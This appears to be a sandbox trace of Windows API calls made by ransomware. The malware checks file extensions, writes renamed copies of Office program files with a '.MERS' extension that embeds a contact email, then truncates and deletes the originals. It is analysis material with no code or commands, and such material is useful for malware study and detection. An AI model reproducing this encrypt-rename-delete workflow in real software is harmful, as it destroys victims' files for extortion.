[0266.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.884] lstrlenW (lpString=".doc") returned 4 [0266.884] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.884] lstrlenW (lpString=".docx") returned 5 [0266.884] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0266.884] lstrlenW (lpString=".pdf") returned 4 [0266.884] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.884] lstrlenW (lpString=".xls") returned 4 [0266.884] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.884] lstrlenW (lpString=".xlsx") returned 5 [0266.884] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0266.884] lstrlenW (lpString=".ppt") returned 4 [0266.884] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.884] lstrlenW (lpString=".zip") returned 4 [0266.884] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.884] lstrlenW (lpString=".rar") returned 4 [0266.884] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.884] lstrlenW (lpString=".bz2") returned 4 [0266.884] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.884] lstrlenW (lpString=".7z") returned 3 [0266.884] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.884] lstrlenW (lpString=".dbf") returned 4 [0266.884] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.884] lstrlenW (lpString=".1cd") returned 4 [0266.884] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0266.884] lstrlenW (lpString=".jpg") returned 4 [0266.884] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.885] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.885] lstrlenW (lpString="SPACE_01.MID") returned 12 [0266.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.885] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=4219) returned 1 [0266.885] CloseHandle (hObject=0x3a0) returned 1 [0266.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0266.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.885] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.885] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0266.886] GetLastError () returned 0x0 [0266.886] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x107b, lpOverlapped=0x0) returned 1 [0266.965] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x1080, lpOverlapped=0x0) returned 1 [0266.965] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0266.965] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.965] SetEndOfFile (hFile=0x3b0) returned 1 [0266.969] CloseHandle (hObject=0x3b0) returned 1 [0266.969] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.969] SetEndOfFile (hFile=0x3a0) returned 1 [0266.977] CloseHandle (hObject=0x3a0) returned 1 [0266.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1 [0266.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.993] lstrlenW (lpString=".doc") returned 4 [0266.994] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.994] lstrlenW (lpString=".docx") returned 5 [0266.994] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0266.994] lstrlenW (lpString=".pdf") returned 4 [0266.994] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.994] lstrlenW (lpString=".xls") returned 4 [0266.994] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.994] lstrlenW (lpString=".xlsx") returned 5 [0266.994] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0266.994] lstrlenW (lpString=".ppt") returned 4 [0266.994] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.994] lstrlenW (lpString=".zip") returned 4 [0266.994] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.994] lstrlenW (lpString=".rar") returned 4 [0266.994] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.994] lstrlenW (lpString=".bz2") returned 4 [0266.994] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.994] lstrlenW (lpString=".7z") returned 3 [0266.994] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.994] lstrlenW (lpString=".dbf") returned 4 [0266.994] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.994] lstrlenW (lpString=".1cd") returned 4 [0266.994] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.994] lstrlenW (lpString=".jpg") returned 4 [0266.994] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.994] lstrlenW (lpString=".doc") returned 4 [0266.994] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.994] lstrlenW (lpString=".docx") returned 5 [0266.994] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0266.995] lstrlenW (lpString=".pdf") returned 4 [0266.995] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.995] lstrlenW (lpString=".xls") returned 4 [0266.995] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.995] lstrlenW (lpString=".xlsx") returned 5 [0266.995] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0266.995] lstrlenW (lpString=".ppt") returned 4 [0266.995] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.995] lstrlenW (lpString=".zip") returned 4 [0266.995] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.995] lstrlenW (lpString=".rar") returned 4 [0266.995] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.995] lstrlenW (lpString=".bz2") returned 4 [0266.995] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.995] lstrlenW (lpString=".7z") returned 3 [0266.995] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.995] lstrlenW (lpString=".dbf") returned 4 [0266.995] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.995] lstrlenW (lpString=".1cd") returned 4 [0266.995] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0266.995] lstrlenW (lpString=".jpg") returned 4 [0266.995] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.995] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.995] lstrlenW (lpString="URBAN_01.MID") returned 12 [0266.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0266.996] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=13358) returned 1 [0266.996] CloseHandle (hObject=0x3b4) returned 1 [0266.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0266.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0266.996] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.996] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0266.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.996] GetLastError () returned 0x0 [0266.996] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x342e, lpOverlapped=0x0) returned 1 [0267.225] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x3430, lpOverlapped=0x0) returned 1 [0267.225] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0267.225] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.225] SetEndOfFile (hFile=0x3ac) returned 1 [0267.795] CloseHandle (hObject=0x3ac) returned 1 [0267.846] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0267.846] SetEndOfFile (hFile=0x3b4) returned 1 [0267.991] CloseHandle (hObject=0x3b4) returned 1 [0267.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0267.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0268.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.047] lstrlenW (lpString=".doc") returned 4 [0268.047] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0268.047] lstrlenW (lpString=".docx") returned 5 [0268.047] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0268.047] lstrlenW (lpString=".pdf") returned 4 [0268.047] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0268.047] lstrlenW (lpString=".xls") returned 4 [0268.047] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0268.047] lstrlenW (lpString=".xlsx") returned 5 [0268.047] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0268.047] lstrlenW (lpString=".ppt") returned 4 [0268.047] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0268.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.048] lstrlenW (lpString=".zip") returned 4 [0268.048] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0268.048] lstrlenW (lpString=".rar") returned 4 [0268.048] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0268.048] lstrlenW (lpString=".bz2") returned 4 [0268.048] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0268.048] lstrlenW (lpString=".7z") returned 3 [0268.048] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0268.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.048] lstrlenW (lpString=".dbf") returned 4 [0268.048] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0268.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.048] lstrlenW (lpString=".1cd") returned 4 [0268.048] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0268.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.048] lstrlenW (lpString=".jpg") returned 4 [0268.048] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0268.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.048] lstrlenW (lpString=".doc") returned 4 [0268.048] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0268.048] lstrlenW (lpString=".docx") returned 5 [0268.049] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0268.049] lstrlenW (lpString=".pdf") returned 4 [0268.049] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0268.049] lstrlenW (lpString=".xls") returned 4 [0268.049] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0268.049] lstrlenW (lpString=".xlsx") returned 5 [0268.049] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0268.049] lstrlenW (lpString=".ppt") returned 4 [0268.049] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0268.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.049] lstrlenW (lpString=".zip") returned 4 [0268.049] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0268.049] lstrlenW (lpString=".rar") returned 4 [0268.049] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0268.049] lstrlenW (lpString=".bz2") returned 4 [0268.049] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0268.049] lstrlenW (lpString=".7z") returned 3 [0268.049] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0268.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.049] lstrlenW (lpString=".dbf") returned 4 [0268.049] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0268.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.049] lstrlenW (lpString=".1cd") returned 4 [0268.049] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0268.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0268.049] lstrlenW (lpString=".jpg") returned 4 [0268.049] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0268.049] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0268.049] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0268.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe" (normalized: "c:\\program files\\microsoft office\\distinctiondollardemographic.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.057] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=75776) returned 1 [0268.057] CloseHandle (hObject=0x388) returned 1 [0268.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe" (normalized: "c:\\program files\\microsoft office\\distinctiondollardemographic.exe")) returned 0x20 [0268.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\distinctiondollardemographic.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe" (normalized: "c:\\program files\\microsoft office\\distinctiondollardemographic.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.057] lstrlenW (lpString=".doc") returned 4 [0268.057] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0268.057] lstrlenW (lpString=".docx") returned 5 [0268.057] lstrcmpiW (lpString1=".docx", lpString2="c.exe") returned -1 [0268.057] lstrlenW (lpString=".pdf") returned 4 [0268.057] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0268.057] lstrlenW (lpString=".xls") returned 4 [0268.057] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0268.057] lstrlenW (lpString=".xlsx") returned 5 [0268.057] lstrcmpiW (lpString1=".xlsx", lpString2="c.exe") returned -1 [0268.057] lstrlenW (lpString=".ppt") returned 4 [0268.057] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0268.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.057] lstrlenW (lpString=".zip") returned 4 [0268.057] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0268.057] lstrlenW (lpString=".rar") returned 4 [0268.057] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0268.057] lstrlenW (lpString=".bz2") returned 4 [0268.057] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0268.058] lstrlenW (lpString=".7z") returned 3 [0268.058] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0268.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.058] lstrlenW (lpString=".dbf") returned 4 [0268.058] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0268.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.058] lstrlenW (lpString=".1cd") returned 4 [0268.058] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0268.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.058] lstrlenW (lpString=".jpg") returned 4 [0268.058] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0268.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.058] lstrlenW (lpString=".doc") returned 4 [0268.058] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0268.058] lstrlenW (lpString=".docx") returned 5 [0268.058] lstrcmpiW (lpString1=".docx", lpString2="c.exe") returned -1 [0268.058] lstrlenW (lpString=".pdf") returned 4 [0268.058] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0268.058] lstrlenW (lpString=".xls") returned 4 [0268.058] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0268.058] lstrlenW (lpString=".xlsx") returned 5 [0268.058] lstrcmpiW (lpString1=".xlsx", lpString2="c.exe") returned -1 [0268.058] lstrlenW (lpString=".ppt") returned 4 [0268.058] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0268.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.058] lstrlenW (lpString=".zip") returned 4 [0268.058] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0268.058] lstrlenW (lpString=".rar") returned 4 [0268.058] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0268.058] lstrlenW (lpString=".bz2") returned 4 [0268.058] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0268.058] lstrlenW (lpString=".7z") returned 3 [0268.058] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0268.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.058] lstrlenW (lpString=".dbf") returned 4 [0268.058] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0268.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.059] lstrlenW (lpString=".1cd") returned 4 [0268.059] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0268.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\distinctiondollardemographic.exe") returned 66 [0268.059] lstrlenW (lpString=".jpg") returned 4 [0268.059] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0268.059] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0268.059] lstrlenW (lpString="Angles.eftx") returned 11 [0268.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.064] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=27365) returned 1 [0268.064] CloseHandle (hObject=0x284) returned 1 [0268.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0268.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0268.065] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0268.065] SetFilePointerEx (in: hFile=0x284, 